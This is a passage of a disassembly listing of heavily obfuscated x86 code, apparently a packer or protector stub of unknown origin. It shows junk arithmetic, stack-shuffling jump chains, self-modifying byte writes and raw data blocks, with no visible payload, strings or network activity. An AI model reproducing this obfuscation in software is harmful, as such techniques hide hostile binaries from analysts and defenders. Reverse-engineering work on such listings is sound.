; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF8F7h, 0F775E900h, 8100FFFFh, 7B64DCCEh, 0FC3C19Ah
		dd 0A8AE957h, 0
		dd 23A8CC68h, 0BA525857h, 47569Bh, 0FFEB7FE9h
		db 0FFh, 2 dup(0)
		db 0E8h			; DATA XREF: sub_473CF6:loc_474EACo
		dd 0C81h, 815BC38Bh, 3458C3E0h,	0F6C08124h, 811A7DADh
		dd 0AA2D0CF0h, 63F88156h, 0E9028ECDh, 0FFFFF813h, 8700C300h
		dd 487240Ch, 58C88B24h,	0FFF0DEE9h, 0C2C100FFh,	0E7BA520Ch
		dd 0E9004757h, 120Eh, 0CA810000h, 0AED367DFh, 0FFE9E3E9h
		dd 810000FFh, 0C9C1DBCAh, 21C28125h, 85D01228h,	456A68FAh
		dd 91E90047h, 0FFFFF3h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_474B7D	proc near		; CODE XREF: y3hmw1t3:004747CDp
		xchg	ecx, [esp+0]
		pop	ecx
		push	offset byte_474CC1
		jmp	nullsub_387
sub_474B7D	endp

; ---------------------------------------------------------------------------
		align 4
		db 0, 0C3h, 0
; ---------------------------------------------------------------------------

loc_474B8F:				; CODE XREF: y3hmw1t3:00473AE4j
		jmp	near ptr dword_47355C+6Dh
; ---------------------------------------------------------------------------

loc_474B94:				; CODE XREF: y3hmw1t3:loc_473CC3j
		add	eax, 795D1BAAh
		or	eax, eax
		jz	loc_473DB8
		jmp	loc_47552B
; ---------------------------------------------------------------------------
		align 4
dword_474BA8	dd 8702C600h, 30D88B5Ah, 8B56241Ch, 8E7E9F2h, 54E80000h
					; DATA XREF: y3hmw1t3:004759ECo
		dd 0E9FFFFF8h, 0FFFFF27Ch
		db 0
; ---------------------------------------------------------------------------

loc_474BC5:				; CODE XREF: y3hmw1t3:004745C6j
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		push	6DFE9EF2h
		pop	eax
		and	eax, 48A37716h
		jmp	loc_47591C
; ---------------------------------------------------------------------------
		dd 850F0000h, 0FFFFF339h, 353BDB81h, 6FE90828h,	7, 8D02C600h
		dd 10C8815Ah, 813DBFE2h, 0D396BEC0h, 0EF95E97Dh, 0E781FFFFh
		dd 0FF5E5D9Ah, 7E7E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_474C13:				; CODE XREF: y3hmw1t3:loc_47458Cj
		add	edx, 23434EBDh
		sub	edx, 0F29CD6B6h
		add	edx, 21866872h
		add	edx, ebp
		push	offset byte_4744E9
		jmp	locret_4743D9
; ---------------------------------------------------------------------------
		align 2
		push	offset loc_4752A3
		jmp	loc_475D54
; ---------------------------------------------------------------------------
		dd 0F6128B00h, 0EAF9E82Ah
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_474C47:				; DATA XREF: sub_474113+7o
		lea	eax, word_475892
		push	ebx
		push	97C68A54h
		pop	ebx
		or	ebx, 68CA7338h
		rol	ebx, 0Fh
		push	ecx
		mov	ecx, edi
		jmp	loc_474106
; ---------------------------------------------------------------------------
		align 2
		pop	esi
		jmp	loc_475185
; ---------------------------------------------------------------------------
		dd 0FB230000h, 0C281D58Bh, 0C7A7C052h, 0FCBE99Dh, 0
		dd 0E9EA815Ah, 819316F6h, 11CD30CAh, 0CAE2819Ah, 0E9F7517Fh
		dd 0FFFFEA70h
dword_474C98	dd 5F8707C6h, 3E9FA0Bh,	0FFFFF7h, 3C875500h, 0E9575F24h
					; DATA XREF: y3hmw1t3:004738CCo
		dd 0FFFFEFEFh
		db 2 dup(0), 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_474CB3	proc near		; CODE XREF: y3hmw1t3:00475BD9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00473C16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0047521C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00475232 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004754D7 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edx, [esp-4+arg_0]
		push	edi
		jmp	loc_4754D7
sub_474CB3	endp

; ---------------------------------------------------------------------------
		db 0
byte_474CC1	db 68h,	0ACh, 50h	; DATA XREF: sub_474B7D+4o
		dd 8FE90047h, 0FFFFF5h,	7E8E281h, 0C2C1B2E6h, 63E28102h
		dd 8178154Ah, 3751AAC2h, 6DEE9B8h, 0
; ---------------------------------------------------------------------------
		test	eax, ebp
		jmp	loc_474FCB
; ---------------------------------------------------------------------------
		mov	byte ptr [esi],	31h
		pop	esi
		xchg	edi, [esp]
		mov	esi, edi
		pop	edi
		or	esi, 852015Bh
		jmp	loc_475133
; ---------------------------------------------------------------------------

locret_474D04:				; CODE XREF: y3hmw1t3:00473B3Fj
		retn
; ---------------------------------------------------------------------------
		align 2
		add	eax, 5D2A20h
		push	offset byte_4759E9
		jmp	locret_475BE9
; ---------------------------------------------------------------------------
		cmp	edx, ecx
		jmp	loc_47531B
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h
; ---------------------------------------------------------------------------
		pop	es
		retn	8B5Fh
; ---------------------------------------------------------------------------
		dd 0C25D5FCFh
; ---------------------------------------------------------------------------
		or	al, 0

loc_474D2A:				; CODE XREF: y3hmw1t3:0047474Ej
		jmp	near ptr loc_4736F7+1
; ---------------------------------------------------------------------------
		jmp	locret_475414
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_380. PRESS KEYPAD	"+" TO EXPAND]
		db 8Bh,	0C6h, 0E9h
		dd 0FFFFE6D6h, 8700C300h, 68582404h, 3B665DD6h,	12C0C158h
		dd 0FFE861E9h, 0D0FF00FFh, 0FFF048E9h, 520000FFh, 47487FBAh
		dd 0E7EAE900h, 0FFFFh, 95E900C3h, 0FFFFF1h
; ---------------------------------------------------------------------------

loc_474D70:				; CODE XREF: y3hmw1t3:0047339Ej
		jmp	locret_4754E3
; ---------------------------------------------------------------------------
		align 2

loc_474D76:				; CODE XREF: y3hmw1t3:loc_47525Dj
		xor	eax, 8483961Eh
		add	eax, 72ABFCA0h
		or	eax, eax
		jmp	loc_473F1D
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFFFCA85h, 0CCE957FFh, 0FFFFEEh, 241C8700h,	8741685Bh
		dd 815E4B45h, 744E2EE6h, 0ABB5395h, 0E9004744h,	80Ah, 0E8C10000h
		dd 0EA19E914h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_474DBF:				; CODE XREF: y3hmw1t3:loc_474565j
		xor	eax, 0A55BDA9Fh
		add	eax, ebp
		add	eax, 0EE95BC73h
		mov	eax, [eax]
		popf
		mov	al, [eax]
		jmp	loc_473B22
; ---------------------------------------------------------------------------

loc_474DD7:				; CODE XREF: y3hmw1t3:00473F54j
					; DATA XREF: y3hmw1t3:0047461Bo
		xchg	ecx, [esp]
		mov	ebp, esp
		call	near ptr dword_4738D0+43h
		add	cl, ch
		std
		idiv	edi
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_475122

loc_474DE8:				; CODE XREF: sub_475122-D9Cj
		jmp	nullsub_384
; END OF FUNCTION CHUNK	FOR sub_475122
; ---------------------------------------------------------------------------

loc_474DED:				; CODE XREF: y3hmw1t3:00473AD9j
		jmp	locret_474A38
; ---------------------------------------------------------------------------
		pushf
		push	4CCB6E78h
		xchg	edi, [esp]
		mov	ebx, edi
		pop	edi
		jmp	loc_47551A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_474E04:				; CODE XREF: y3hmw1t3:00473E4Dj
		jmp	loc_474F68
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Fh
		dd 87DA8B53h, 0E951241Ch, 0FFFFE869h, 2A3276BEh, 0E74FE926h
		dd 0F00FFFFh, 0FFE5828Dh, 0E90000FFh, 0FFFFF083h, 0E912C6C1h
		dd 0ED6h, 3C30000h, 65C281D5h, 894D1CF4h, 55F86802h, 3DE90047h
		dd 0FFFFF4h, 0C606C6C3h, 34058D5Eh, 0E900474Dh,	91Fh, 0F0810000h
		dd 1C664D0Dh, 0BAEE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_474E6F:				; CODE XREF: y3hmw1t3:loc_473CC8j
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		jmp	near ptr byte_4736F1+2
; ---------------------------------------------------------------------------
		dw 0C381h
; ---------------------------------------------------------------------------
		sbb	al, 0C8h
		mov	[edx-0F0C18h], al
		inc	dword ptr [eax]

loc_474E86:				; CODE XREF: y3hmw1t3:004746D3j
		jmp	locret_473E9A
; ---------------------------------------------------------------------------
		align 4

loc_474E8C:				; CODE XREF: y3hmw1t3:00473FD7j
		jmp	loc_475D00
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		add	al, 24h
		xchg	esi, [esp]
		mov	eax, esi
		pop	esi
		push	esi
		mov	esi, edi
		xchg	esi, [esp]
		mov	edi, offset loc_4735EA
		jmp	loc_47438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CF6

loc_474EAC:				; CODE XREF: sub_473CF6:loc_4750E0j
		push	offset byte_474B0F
		jmp	loc_47408C
; END OF FUNCTION CHUNK	FOR sub_473CF6
; ---------------------------------------------------------------------------
		db 0
byte_474EB7	db 68h			; DATA XREF: sub_475480:loc_47485Bo
		dd offset sub_475C91
		dd 0FFF84AE9h, 0FD209FFh, 0FFE50584h, 0BE2E9FFh, 850F0000h
		dd 0FFFFF783h, 94E8108Bh, 0FFFFF7h, 69D38100h, 0E9297DB4h
		dd 0FFFFFE00h, 813B8B00h, 415DEFCAh, 811E92Ch, 8C0F0000h
		dd 0CD8h, 5E243487h, 0D18B529Dh, 0E9241487h, 0FFFFF487h
		dd 67E7BE00h, 7EE96948h, 8, 475FCBh, 0
		dd 116h, 0F589E900h, 0FFFFh, 5D3F0ADCh
		db 0
byte_474F31	db 87h,	3Ch, 24h	; DATA XREF: sub_475707-160Co
		dd 8B5FF78Bh, 474F2C05h, 0C5D02900h, 0FFECC584h, 0C99E9FFh
		dd 0
		dd 47537B68h, 641E900h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474878

loc_474F58:				; CODE XREF: sub_474878+Bj
		pop	edi
		xchg	edi, [esp+0]
		lea	eax, word_475892
		push	ebp
		jmp	loc_475676
; END OF FUNCTION CHUNK	FOR sub_474878
; ---------------------------------------------------------------------------

loc_474F68:				; CODE XREF: y3hmw1t3:loc_474E04j
		push	4734B9h
		jmp	locret_47571B
; ---------------------------------------------------------------------------
		mov	byte ptr [ecx],	0C6h
		pop	ecx
		call	loc_475035
		jmp	locret_47531A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_474F82:				; CODE XREF: y3hmw1t3:00474AB2j
		jmp	loc_475176
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475480

loc_474F8A:				; CODE XREF: sub_475480+19j
		jmp	loc_474956
; END OF FUNCTION CHUNK	FOR sub_475480
; ---------------------------------------------------------------------------
		align 10h
		jmp	loc_4755B9
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFEC1088h, 39D9BAFFh, 0F50B063Fh, 0FFF367E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_474FA9:				; CODE XREF: y3hmw1t3:00473CDEj
		retn
; ---------------------------------------------------------------------------
		align 4

loc_474FAC:				; CODE XREF: y3hmw1t3:004744AEj
		jmp	near ptr dword_473F64+2
; ---------------------------------------------------------------------------
byte_474FB1	db 0Fh,	89h, 17h	; DATA XREF: y3hmw1t3:00473CD9o
		dd 0E8000004h, 0FFFFF2F2h, 36E90000h, 0FFFFF8h,	0FFFB7DE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_474FCB:				; CODE XREF: y3hmw1t3:00474CEAj
		jno	loc_475AC4
		xchg	edx, [esp]
		pop	edx
		push	edx
		push	4ADAC424h
		pop	edx
		and	edx, 995DCA2Fh
		jmp	loc_473B09
; ---------------------------------------------------------------------------

loc_474FE7:				; DATA XREF: sub_473D4D:loc_473CE4o
		mov	byte ptr [ebx],	0C3h
		pop	ebx
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		retn
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 0FFFFEA62h, 0E937C281h, 0CA81C41Eh, 12C10066h, 811EC2C1h
		dd 31BC5EC2h, 443668B4h, 6E90047h, 0FFFFECh
		db 0
; ---------------------------------------------------------------------------

loc_475019:				; CODE XREF: y3hmw1t3:00473D65j
		xchg	ebx, [esp]
		pop	ebx
		mov	edx, offset loc_47570D
		jmp	loc_475646
; ---------------------------------------------------------------------------
		align 4
		dd 5A0F6800h, 54E90047h, 0FFFFFFh
		db 0
; ---------------------------------------------------------------------------

loc_475035:				; CODE XREF: y3hmw1t3:00474F76p
		xchg	edx, [esp]
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		xchg	edi, [esp]
		call	near ptr dword_473708+0F3h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_475047:				; CODE XREF: y3hmw1t3:00473D7Aj
		jmp	loc_473BF0
; ---------------------------------------------------------------------------
		dd 0CDD26800h, 0A568514Dh, 0E900473Ch, 0D01h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47505E:				; CODE XREF: y3hmw1t3:00474426j
		pop	edi
		xor	edi, 5659A783h
		add	edi, 4C2CA58Ch
		xchg	edi, [esp]
		jmp	nullsub_380
; ---------------------------------------------------------------------------
		align 4
		dd 0FFF906E8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_47507B:				; CODE XREF: y3hmw1t3:00475B2Fj
		jmp	loc_4757D2
; ---------------------------------------------------------------------------
		dd 372E800h, 0

; =============== S U B	R O U T	I N E =======================================



sub_475088	proc near		; CODE XREF: sub_475707:loc_475D4Fp

; FUNCTION CHUNK AT 00473E9C SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		xchg	edx, [esp+0]
		mov	ebx, edx
		pop	edx
		jmp	loc_4750BF
; ---------------------------------------------------------------------------

loc_475096:				; CODE XREF: sub_475707+8j
		push	473599h
		jmp	loc_473E9C
; ---------------------------------------------------------------------------
		dd 41456800h, 58E90047h, 0FFFFFDh, 0DAAA6856h, 1C876F7Dh
		dd 8BF38B24h, 0F85DE9DAh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_4750BF:				; CODE XREF: sub_475088+9j
		call	loc_475CBD
		jmp	near ptr dword_473CA0+1Bh
sub_475088	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		jmp	loc_4753A5
; ---------------------------------------------------------------------------
		db 0C6h
		dd 0E8589D00h, 0FFFFF83Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4750DA:				; CODE XREF: y3hmw1t3:0047596Ej
		jmp	loc_4755A2
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_473CF6

loc_4750E0:				; CODE XREF: sub_473CF6+17j
		jmp	loc_474EAC
; END OF FUNCTION CHUNK	FOR sub_473CF6
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_475A61
; ---------------------------------------------------------------------------
byte_4750EB	db 8Bh			; DATA XREF: sub_475C91+1o
		dd 747E8ECh, 0
; ---------------------------------------------------------------------------

loc_4750F4:				; CODE XREF: y3hmw1t3:004749ACj
		jmp	near ptr dword_4742A8+2Dh
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F7h
		dd 13AADC6h, 0E4D0E988h, 0FFFFh, 475B0368h, 9E9E900h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475707

loc_475114:				; CODE XREF: sub_475707:loc_475B76j
		popf
		add	edi, 74FFF808h
		jmp	loc_475D43
; END OF FUNCTION CHUNK	FOR sub_475707
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_475122	proc near		; CODE XREF: y3hmw1t3:00475A80j
					; y3hmw1t3:loc_475CBDp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0047437B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00474DE8 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	edi, [esp+0]
		xchg	ebp, [esp+0]
		mov	edi, ebp
		jmp	loc_47437B
sub_475122	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_475133:				; CODE XREF: y3hmw1t3:00474CFFj
		sub	esi, 0A009906Dh
		jnz	near ptr dword_473C1C+1Ah
		add	[ebx], al
		xlat
		jmp	near ptr dword_473C1C+17h
; ---------------------------------------------------------------------------
		align 4
		db 0, 0C3h
; ---------------------------------------------------------------------------

loc_47514A:				; CODE XREF: y3hmw1t3:004745A1j
		jmp	loc_475BC2
; ---------------------------------------------------------------------------
		db 81h
		dd 6B3ED0E1h, 1FC1C1DEh, 2E5AC181h, 0C87F833h, 0ED46E924h
		dd 2300FFFFh, 0E93987DDh, 0FFFFF585h, 736E800h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475176:				; CODE XREF: y3hmw1t3:loc_474F82j
		mov	ecx, edx
		pop	edx
		xchg	esi, [esp]
		push	esi
		pop	ebp
		pop	esi

loc_47517F:				; CODE XREF: y3hmw1t3:00474853j
		jmp	locret_473CC2
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_475185:				; CODE XREF: y3hmw1t3:00474C67j
		xchg	ecx, [esp]
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		add	eax, 0CA77D2D6h
		jmp	near ptr dword_4749F0+1Ah
; ---------------------------------------------------------------------------

loc_475199:				; CODE XREF: y3hmw1t3:00473E5Fj
		pop	eax
		add	eax, 11096C73h
		push	eax
		mov	eax, ecx
		xchg	eax, [esp]
		mov	ecx, offset byte_474859
		jmp	loc_474610
; ---------------------------------------------------------------------------
		dd 0E9D78500h, 816h, 0D8810000h, 424449ACh, 0FFFAEEE9h
		dd 0F6E8FCFFh, 0FFFFECh, 998E900h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_4751D3:				; CODE XREF: y3hmw1t3:00473DBFj
		push	4738EFh
		jmp	locret_475BE0
; ---------------------------------------------------------------------------
		not	ecx
		jmp	loc_475CCC
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0B7h, 0E6h
		dd 300FFFFh, 3BC281D5h,	8BE6B701h, 24148712h, 75BE8h, 0C3000000h
		dd 37E90000h, 0Ah, 13C8C081h, 37688745h, 0E9004745h, 0AB3h
		dd 0C30000h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474CB3

loc_47521C:				; CODE XREF: sub_474CB3+594j
		push	473819h
		jmp	loc_473C16
; END OF FUNCTION CHUNK	FOR sub_474CB3
; ---------------------------------------------------------------------------
		dw 6800h
		dd offset dword_4741E4+94h
		dd 0FFE568E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_474CB3

loc_475232:				; CODE XREF: sub_474CB3:loc_4754D7j
		push	0D94F9B19h
		pop	edi
		and	edi, 32EC240h
		add	edi, 0FF38D01Ah
		xchg	edi, [esp+0]
		jmp	loc_47521C
; END OF FUNCTION CHUNK	FOR sub_474CB3
; ---------------------------------------------------------------------------
		dd 0E9C52B00h, 0FFFFEF66h, 32E80000h, 0FFFFEDh
		db 0
; ---------------------------------------------------------------------------

loc_47525D:				; CODE XREF: y3hmw1t3:00474823j
		jmp	loc_474D76
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 0FFFFEC8Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473BE0

loc_47526A:				; CODE XREF: sub_473BE0-21Ej
		jmp	loc_475D9A
; END OF FUNCTION CHUNK	FOR sub_473BE0
; ---------------------------------------------------------------------------
		align 10h
		dd 0BB8D0F00h, 0E9FFFFEAh, 0FFFFE697h
; ---------------------------------------------------------------------------

locret_47527C:				; CODE XREF: y3hmw1t3:00473F3Fj
		retn
; ---------------------------------------------------------------------------
byte_47527D	db 8Bh,	0, 0E9h		; DATA XREF: y3hmw1t3:00473F3Ao
		dd 0FFFFE3B5h, 0A1820F00h, 68FFFFF1h, 475545h, 0FFEDF1E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_386. PRESS KEYPAD	"+" TO EXPAND]
		db 0E9h
		dd 0FFFFFA30h, 622E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_4752A3:				; DATA XREF: y3hmw1t3:00474C32o
		mov	byte ptr [edx],	0FFh
		pop	edx
		push	4A0A9Ch
		xchg	esi, [esp]
		mov	edi, esi
		pop	esi
		add	edi, 0A4255CACh
		jmp	loc_475A75
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_4752BF:				; CODE XREF: y3hmw1t3:loc_4753B5j
		retn
; ---------------------------------------------------------------------------

loc_4752C0:				; CODE XREF: y3hmw1t3:0047465Cj
		jmp	locret_47578E
; ---------------------------------------------------------------------------
		mov	byte ptr [esi],	49h
		pop	esi
		push	474627h
		jmp	loc_4753AE
; ---------------------------------------------------------------------------
		align 4
		dd 68565A00h, 16ED6C35h, 1BC6C15Eh, 20EE9h, 43E68100h
		dd 81964874h, 0B73577EEh, 0AAC6812Eh, 0E99AFDFFh, 3F3h
; ---------------------------------------------------------------------------

loc_4752FC:				; DATA XREF: y3hmw1t3:00473B3Ao
		xchg	esi, [esp]
		mov	ecx, esi
		pop	esi
		push	ebx
		push	7E323305h
		pop	ebx
		or	ebx, 965A5016h
		jmp	loc_475B14
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_387. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		db 0, 0C3h
; ---------------------------------------------------------------------------

locret_47531A:				; CODE XREF: y3hmw1t3:00474F7Bj
		retn
; ---------------------------------------------------------------------------

loc_47531B:				; CODE XREF: y3hmw1t3:00474D18j
		jbe	loc_4735E8
		xchg	eax, [esp]
		pop	eax
		pop	ebp
		pushf
		push	4734FDh
		jmp	locret_474105
; ---------------------------------------------------------------------------
		db 0FCh, 0E9h, 0CFh
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_475334+1 ; CODE XREF: y3hmw1t3:loc_475334j
; ---------------------------------------------------------------------------
		dw 0E8FFh
		dd 0FFFFE5E6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744CE

loc_47533C:				; CODE XREF: sub_4744CE+13j
		cmp	esi, 56659472h
		jmp	loc_474714
; END OF FUNCTION CHUNK	FOR sub_4744CE
; ---------------------------------------------------------------------------

loc_475347:				; CODE XREF: y3hmw1t3:00473600j
		pop	edi
		xchg	eax, [esp]
		mov	ebp, eax
		call	sub_473D4D
		push	offset loc_474747
		jmp	loc_473D82
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47535E:				; CODE XREF: y3hmw1t3:loc_4755D3j
		add	edi, 0FA4DC574h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		or	edx, edx
		jz	loc_4749AB
		push	esi
		jmp	loc_473B84
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_383. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
aHEzLRG		db 'hÛ{¿…‡,$‹Å]Rº=[G',0
; ---------------------------------------------------------------------------
		jmp	loc_473B48
; ---------------------------------------------------------------------------
		db 0BFh, 6Ah, 53h
		dd 24E90047h, 0FFFFF8h,	53E9DD0Bh
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

locret_4753A3:				; CODE XREF: y3hmw1t3:004745C0j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_4753A5:				; CODE XREF: y3hmw1t3:004750CAj
		pop	ecx
		pop	ebx
		xchg	eax, [esp]
		mov	ebp, eax
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4753AE:				; CODE XREF: y3hmw1t3:004752CEj
		jmp	locret_475B7D
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_4753B5:				; CODE XREF: y3hmw1t3:00473E39j
		jmp	locret_4752BF
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 97h, 0EEh
		dd 0FFFFh, 0E9241487h, 287h, 685700C3h,	8FF9EB61h, 0FFEBF5E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_4753DB:				; CODE XREF: y3hmw1t3:004749EAj
		xchg	edx, ebp
		xchg	ecx, [esp]
		pop	ecx
		push	47435Bh
		jmp	locret_475650
; ---------------------------------------------------------------------------
		push	1DEBE947h
		cmp	ebp, esi
		jmp	loc_475469
; ---------------------------------------------------------------------------
		align 4
		dd 5F243C87h, 8B243C87h, 44E95FCFh, 0FFFFE6h, 243C8700h
		dd 0CAE8525Fh, 0FFFFFFh
; ---------------------------------------------------------------------------

locret_475414:				; CODE XREF: y3hmw1t3:00474D2Fj
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 67h, 0E9h
		dd 8100FFFFh, 0CBDC0F2h, 6CC281DCh, 68858761h, 4751EBh
		dd 0FFFDB3E9h, 810000FFh, 0F37137F6h, 0A5E9537Ah, 8
		db 0
; ---------------------------------------------------------------------------

loc_475441:				; DATA XREF: sub_473EA1o
		mov	edx, [eax]
		push	edi
		push	0D543BBF7h
		pop	edi
		add	edi, 92774970h
		or	edi, 52FEE576h
		jmp	loc_4757B2
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_47545D:				; DATA XREF: y3hmw1t3:00474749o
		pop	ecx
		push	offset loc_475828
		jmp	locret_475D21
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_475469:				; CODE XREF: y3hmw1t3:004753F2j
		jle	near ptr dword_474524+5
		xor	edx, 4ADEADBEh
		add	eax, edx
		pop	edx

loc_475478:				; DATA XREF: y3hmw1t3:00474393o
		xchg	eax, [esp]
		call	near ptr dword_47488C+23h

; =============== S U B	R O U T	I N E =======================================



sub_475480	proc near		; CODE XREF: y3hmw1t3:loc_474125p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0047404F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00474844 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0047485B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00474956 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00474F8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0047564B SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		mov	byte ptr [ecx],	0C3h
		pop	ecx
		xor	eax, 0FC7A2C5Ah
		sub	eax, 0AC269BC2h
		jmp	loc_474F8A
sub_475480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_47549E:				; CODE XREF: y3hmw1t3:loc_473D82j
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 24348700h, 23989868h, 0CA815A87h, 96CD217Ah,	0FFFDE2E9h
		dd 810000FFh, 0F6E2FCC8h, 52086838h, 46E90047h,	0FFFFF2h
		dd 0EEE9E80Bh, 7, 521E8h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474CB3

loc_4754D7:				; CODE XREF: sub_474CB3+8j
		jmp	loc_475232
; END OF FUNCTION CHUNK	FOR sub_474CB3
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47463B

loc_4754DD:				; CODE XREF: sub_47463B+7j
		jmp	near ptr dword_473A70+13h
; END OF FUNCTION CHUNK	FOR sub_47463B
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_4754E3:				; CODE XREF: y3hmw1t3:loc_474D70j
		retn
; ---------------------------------------------------------------------------

loc_4754E4:				; CODE XREF: y3hmw1t3:00474398j
		jmp	near ptr dword_474134+46h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_388. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 0C2E9FD2Bh, 0FFFFFE5h, 0FFEC3A82h, 0D2E900FFh, 0FFFFEEh
		dd 0FE8C100h, 0B8E9EE3Bh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_47550B:				; CODE XREF: y3hmw1t3:loc_475724j
		retn
; ---------------------------------------------------------------------------

loc_47550C:				; CODE XREF: y3hmw1t3:00473606j
		jmp	loc_4739D0
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475513:				; CODE XREF: y3hmw1t3:00475AC9j
		call	near ptr dword_4738D0+5Fh
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47551A:				; CODE XREF: y3hmw1t3:00474DFEj
		jmp	near ptr dword_474570+1
; ---------------------------------------------------------------------------

loc_47551F:				; CODE XREF: y3hmw1t3:00474763j
		jmp	near ptr dword_4733A4+8Eh
; ---------------------------------------------------------------------------

loc_475524:				; CODE XREF: y3hmw1t3:004745F3j
		jmp	near ptr dword_473614+43h
; ---------------------------------------------------------------------------

locret_475529:				; CODE XREF: y3hmw1t3:00475768j
		retn
